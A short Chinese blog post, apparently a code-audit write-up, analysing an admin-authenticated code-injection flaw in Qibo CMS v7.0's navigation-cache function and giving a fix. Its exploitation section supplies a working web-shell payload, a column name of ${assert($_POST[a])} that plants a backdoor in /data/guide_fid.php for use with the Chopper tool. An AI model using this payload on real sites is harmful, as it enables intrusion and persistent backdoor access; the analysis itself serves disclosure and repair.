齐博cmsv7.0后台getshell

前言
预测下,VG要夺冠。加油


0x01 漏洞分析
此漏洞比较鸡肋,需要后台权限。漏洞原理很简单,这里就简单分析一下。
漏洞出现在:inc/class.inc.php中的GuideFidCache函数里

    /*导航条缓存*/
    function GuideFidCache($table,$filename="guide_fid.php",$TruePath=0){
        global $db,$webdb,$pre;
        if($table=="{$pre}sort"&&$webdb[sortNUM]>500){
            return ;
        }
        $show=">首页";
        $showindex=">首页";
        $query=$db->query("SELECT fid,name FROM $table ");
        // 带双引号写入变量,并且未过滤。
        while( @extract($db->fetch_array($query)) ){
            $show.="\$GuideFid[$fid]=\"$showindex".$this->SortFather($table,$fid)."\";\r\n";
        }
        $show.=$shows.'?>';
        if($TruePath==1){
            write_file($filename,$show);
        }else{
            write_file(ROOT_PATH."data/$filename",$show);
        }
    }

这个函数主要是将导航条信息写入缓存文件guide_fid.php文件中,但是写入变量使用双引号,因此可以直接构造变量远程执行代码,比如${phpinfo()}。
写入文件成功后,就可以直接访问该文件即可。
0x02 漏洞利用
漏洞利用更为简单,登陆后台增加栏目为${assert($_POST[a])},后门直接写入/data/guide_fid.php文件中,菜刀连之即可。


0x03 修复建议
$show变量拼接时使用单引号。


你可能感兴趣的:(代码审计,php)